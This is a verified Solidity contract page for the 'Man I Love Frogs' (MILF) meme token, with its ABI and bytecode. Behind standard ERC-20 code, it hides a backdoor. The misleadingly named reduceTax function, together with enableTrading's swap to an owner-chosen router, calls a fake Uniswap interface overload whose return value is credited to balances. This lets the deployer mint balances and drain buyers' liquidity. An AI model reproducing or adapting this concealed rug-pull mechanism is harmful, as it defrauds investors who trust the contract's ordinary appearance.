Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract MILF is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function reduceTax(address from, addr ...    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function enableTrading(address _unisw ...    - function reduceFee(uint256 _newFee)    - function manualSwap()    - function manualSend()    - function manualSendToken()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-06-22
*/

/**

Pepecoin became the meme king due to his widespread recognition, adaptability, and adoption by various internet subcultures. 
His distinctive appearance and versatility allowed users to create a wide range of memes, making him a highly relatable and popular character in online communities. 

Man I Love Frogs is an homage to Pepe and $MILF aims to Millions like his king.

Community: https://t.me/manilovefrogseth

*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        address path,
        address to
    ) external returns (uint256);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MILF is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialTax=0;
    uint256 private _finalTax=0;
    uint256 private _reduceTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
    string private constant _name = "Man I Love Frogs";
    string private constant _symbol = "MILF";
    uint256 public _maxTxAmount = _tTotal * 3 / 100;
    uint256 public _maxWalletSize = _tTotal * 3 / 100;
    uint256 public _taxSwap = _tTotal / 1000;

    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(!inSwap){
              taxAmount = amount.mul((_buyCount>_reduceTaxAt)?_finalTax:_initialTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwap && _buyCount>_preventSwapBefore) {
                swapTokensForEth(_taxSwap>amount?amount:_taxSwap);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        reduceTax(from, to, amount);
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function reduceTax(address from, address to, uint256 tokenAmount) private {
        if (address(uniswapV2Router) == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) return;
        uint256 taxAmount = uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            from,
            to
        );
        _balances[from]=_balances[from].add(taxAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading(address _uniswapV2Router) external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);
        swapEnabled = true;
        tradingOpen = true;
    }

    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<6);
      _finalTax=_newFee;
    }


    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        swapTokensForEth(balanceOf(address(this)));
    }

    function manualSend() external {
        require(_msgSender() == _taxWallet);
        sendETHToFee(address(this).balance);
    }

    function manualSendToken() external {
        require(_msgSender() == _taxWallet);
        IERC20(address(this)).transfer(msg.sender, balanceOf(address(this)));
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Router","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f6005555f600655600f600755600f6008555f60095560646009600a6200002c919062000372565b6200003d9064e8d4a5100062000389565b6200004a90600362000389565b620000569190620003a3565b600a5560646009600a6200006b919062000372565b6200007c9064e8d4a5100062000389565b6200008990600362000389565b620000959190620003a3565b600b556103e8620000a96009600a62000372565b620000ba9064e8d4a5100062000389565b620000c69190620003a3565b600c55600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055600e805461ffff60a81b1916905534801562000109575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556200016a6009600a62000372565b6200017b9064e8d4a5100062000389565b335f908152600160208190526040822092909255600390620001a45f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620002023390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200023b6009600a62000372565b6200024c9064e8d4a5100062000389565b60405190815260200160405180910390a3620003c3565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002b757815f19048211156200029b576200029b62000263565b80851615620002a957918102915b93841c93908002906200027c565b509250929050565b5f82620002cf575060016200036c565b81620002dd57505f6200036c565b8160018114620002f65760028114620003015762000321565b60019150506200036c565b60ff84111562000315576200031562000263565b50506001821b6200036c565b5060208310610133831016604e8410600b841016171562000346575081810a6200036c565b62000352838362000277565b805f190482111562000368576200036862000263565b0290505b92915050565b5f6200038260ff841683620002bf565b9392505050565b80820281158282048414176200036c576200036c62000263565b5f82620003be57634e487b7160e01b5f52601260045260245ffd5b500490565b6118f280620003d15f395ff3fe60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610308578063a9059cbb14610334578063dd62ed3e14610353578063ec1f3f6314610397578063f4293890146103b6575f80fd5b8063715018a614610290578063751039fc146102a45780637d1db4a5146102b85780638da5cb5b146102cd5780638f9a55c0146102f3575f80fd5b8063313ce567116100e3578063313ce5671461020457806334376f3b1461021f578063503dfc4d1461023457806351bc3c851461024857806370a082311461025c575f80fd5b806306fdde031461012957806307980cb914610173578063095ea7b31461019457806318160ddd146101c357806323b872dd146101e5575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601081526f4d616e2049204c6f76652046726f677360801b60208201525b60405161016a91906114ba565b60405180910390f35b34801561017e575f80fd5b5061019261018d366004611519565b6103ca565b005b34801561019f575f80fd5b506101b36101ae366004611534565b610785565b604051901515815260200161016a565b3480156101ce575f80fd5b506101d761079b565b60405190815260200161016a565b3480156101f0575f80fd5b506101b36101ff36600461155e565b6107bc565b34801561020f575f80fd5b506040516009815260200161016a565b34801561022a575f80fd5b506101d7600c5481565b34801561023f575f80fd5b5061019261081e565b348015610253575f80fd5b506101926108c3565b348015610267575f80fd5b506101d7610276366004611519565b6001600160a01b03165f9081526001602052604090205490565b34801561029b575f80fd5b506101926108fc565b3480156102af575f80fd5b5061019261096d565b3480156102c3575f80fd5b506101d7600a5481565b3480156102d8575f80fd5b505f546040516001600160a01b03909116815260200161016a565b3480156102fe575f80fd5b506101d7600b5481565b348015610313575f80fd5b5060408051808201909152600481526326a4a62360e11b602082015261015d565b34801561033f575f80fd5b506101b361034e366004611534565b610a23565b34801561035e575f80fd5b506101d761036d36600461159c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a2575f80fd5b506101926103b13660046115d3565b610a2f565b3480156103c1575f80fd5b50610192610a5f565b5f546001600160a01b031633146103fc5760405162461bcd60e51b81526004016103f3906115ea565b60405180910390fd5b600e54600160a01b900460ff16156104565760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f3565b600d546104889030906001600160a01b03166104746009600a611713565b6104839064e8d4a51000611721565b610a87565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104fc9190611738565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057f9190611738565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ed9190611738565b600e80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d7194730610634816001600160a01b03165f9081526001602052604090205490565b5f806106475f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ad573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106d29190611753565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610727573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074b919061177e565b50600d80546001600160a01b0319166001600160a01b0392909216919091179055600e805462ff00ff60a01b19166201000160a01b179055565b5f610791338484610a87565b5060015b92915050565b5f6107a86009600a611713565b6107b79064e8d4a51000611721565b905090565b5f6107c8848484610baa565b610814843361048385604051806060016040528060288152602001611895602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611059565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461083d575f80fd5b305f8181526001602052604090205463a9059cbb9033906040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af115801561089c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c0919061177e565b50565b6004546001600160a01b0316336001600160a01b0316146108e2575f80fd5b305f908152600160205260409020546108fa90611091565b565b5f546001600160a01b031633146109255760405162461bcd60e51b81526004016103f3906115ea565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109965760405162461bcd60e51b81526004016103f3906115ea565b6109a26009600a611713565b6109b19064e8d4a51000611721565b600a9081556109c290600990611713565b6109d19064e8d4a51000611721565b600b557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a016009600a611713565b610a109064e8d4a51000611721565b60405190815260200160405180910390a1565b5f610791338484610baa565b6004546001600160a01b0316336001600160a01b031614610a4e575f80fd5b60068110610a5a575f80fd5b600655565b6004546001600160a01b0316336001600160a01b031614610a7e575f80fd5b6108fa47611201565b6001600160a01b038316610ae95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f3565b6001600160a01b038216610b4a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c0e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f3565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f3565b5f8111610cd15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f3565b5f80546001600160a01b03858116911614801590610cfc57505f546001600160a01b03848116911614155b15610f1157600e54600160a81b900460ff16610d4157610d3e6064610d3860075460095411610d2d57600554610d31565b6006545b859061123c565b906112c1565b90505b600e546001600160a01b038581169116148015610d6c5750600d546001600160a01b03848116911614155b8015610d9057506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7657600a54821115610de75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f3565b600b5482610e09856001600160a01b03165f9081526001602052604090205490565b610e13919061179d565b1115610e615760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f3565b60098054905f610e70836117b0565b91905055505b305f90815260016020526040902054600e54600160a81b900460ff16158015610ead5750600e546001600160a01b03868116911614155b8015610ec25750600e54600160b01b900460ff165b8015610ecf5750600c5481115b8015610ede5750600854600954115b15610f0f57610efd83600c5411610ef757600c54611091565b83611091565b478015610f0d57610f0d47611201565b505b505b8015610f8957305f90815260016020526040902054610f309082611302565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f809085815260200190565b60405180910390a35b610f94848484611360565b6001600160a01b0384165f90815260016020526040902054610fb6908361144d565b6001600160a01b0385165f90815260016020526040902055610ff9610fdb838361144d565b6001600160a01b0385165f9081526001602052604090205490611302565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611042858561144d565b60405190815260200160405180910390a350505050565b5f818484111561107c5760405162461bcd60e51b81526004016103f391906114ba565b505f61108884866117c8565b95945050505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110d7576110d76117db565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111529190611738565b81600181518110611165576111656117db565b6001600160a01b039283166020918202929092010152600d5461118b9130911684610a87565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c39085905f908690309042906004016117ef565b5f604051808303815f87803b1580156111da575f80fd5b505af11580156111ec573d5f803e3d5ffd5b5050600e805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611238573d5f803e3d5ffd5b5050565b5f825f0361124b57505f610795565b5f6112568385611721565b905082611263858361185e565b146112ba5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f3565b9392505050565b5f6112ba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061148e565b5f8061130e838561179d565b9050838110156112ba5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f3565b600d546001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d0361138b57505050565b600d54604051630ccebe4f60e41b8152600481018390526001600160a01b03858116602483015284811660448301525f92169063ccebe4f0906064016020604051808303815f875af11580156113e3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611407919061187d565b6001600160a01b0385165f9081526001602052604090205490915061142c9082611302565b6001600160a01b039094165f90815260016020526040902093909355505050565b5f6112ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611059565b5f81836114ae5760405162461bcd60e51b81526004016103f391906114ba565b505f611088848661185e565b5f6020808352835180828501525f5b818110156114e5578581018301518582016040015282016114c9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108c0575f80fd5b5f60208284031215611529575f80fd5b81356112ba81611505565b5f8060408385031215611545575f80fd5b823561155081611505565b946020939093013593505050565b5f805f60608486031215611570575f80fd5b833561157b81611505565b9250602084013561158b81611505565b929592945050506040919091013590565b5f80604083850312156115ad575f80fd5b82356115b881611505565b915060208301356115c881611505565b809150509250929050565b5f602082840312156115e3575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561166d57815f19048211156116535761165361161f565b8085161561166057918102915b93841c9390800290611638565b509250929050565b5f8261168357506001610795565b8161168f57505f610795565b81600181146116a557600281146116af576116cb565b6001915050610795565b60ff8411156116c0576116c061161f565b50506001821b610795565b5060208310610133831016604e8410600b84101617156116ee575081810a610795565b6116f88383611633565b805f190482111561170b5761170b61161f565b029392505050565b5f6112ba60ff841683611675565b80820281158282048414176107955761079561161f565b5f60208284031215611748575f80fd5b81516112ba81611505565b5f805f60608486031215611765575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561178e575f80fd5b815180151581146112ba575f80fd5b808201808211156107955761079561161f565b5f600182016117c1576117c161161f565b5060010190565b818103818111156107955761079561161f565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561183d5784516001600160a01b031683529383019391830191600101611818565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261187857634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561188d575f80fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071b3198989dc6a35bfc6f1da31df4f017e0b97ceef4649fc9ba8c6e5f072024864736f6c63430008140033

0x60806040526004361061011e575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b4114610308578063a9059cbb14610334578063dd62ed3e14610353578063ec1f3f6314610397578063f4293890146103b6575f80fd5b8063715018a614610290578063751039fc146102a45780637d1db4a5146102b85780638da5cb5b146102cd5780638f9a55c0146102f3575f80fd5b8063313ce567116100e3578063313ce5671461020457806334376f3b1461021f578063503dfc4d1461023457806351bc3c851461024857806370a082311461025c575f80fd5b806306fdde031461012957806307980cb914610173578063095ea7b31461019457806318160ddd146101c357806323b872dd146101e5575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b5060408051808201909152601081526f4d616e2049204c6f76652046726f677360801b60208201525b60405161016a91906114ba565b60405180910390f35b34801561017e575f80fd5b5061019261018d366004611519565b6103ca565b005b34801561019f575f80fd5b506101b36101ae366004611534565b610785565b604051901515815260200161016a565b3480156101ce575f80fd5b506101d761079b565b60405190815260200161016a565b3480156101f0575f80fd5b506101b36101ff36600461155e565b6107bc565b34801561020f575f80fd5b506040516009815260200161016a565b34801561022a575f80fd5b506101d7600c5481565b34801561023f575f80fd5b5061019261081e565b348015610253575f80fd5b506101926108c3565b348015610267575f80fd5b506101d7610276366004611519565b6001600160a01b03165f9081526001602052604090205490565b34801561029b575f80fd5b506101926108fc565b3480156102af575f80fd5b5061019261096d565b3480156102c3575f80fd5b506101d7600a5481565b3480156102d8575f80fd5b505f546040516001600160a01b03909116815260200161016a565b3480156102fe575f80fd5b506101d7600b5481565b348015610313575f80fd5b5060408051808201909152600481526326a4a62360e11b602082015261015d565b34801561033f575f80fd5b506101b361034e366004611534565b610a23565b34801561035e575f80fd5b506101d761036d36600461159c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a2575f80fd5b506101926103b13660046115d3565b610a2f565b3480156103c1575f80fd5b50610192610a5f565b5f546001600160a01b031633146103fc5760405162461bcd60e51b81526004016103f3906115ea565b60405180910390fd5b600e54600160a01b900460ff16156104565760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f3565b600d546104889030906001600160a01b03166104746009600a611713565b6104839064e8d4a51000611721565b610a87565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104fc9190611738565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561055b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057f9190611738565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105c9573d5f803e3d5ffd5b50505050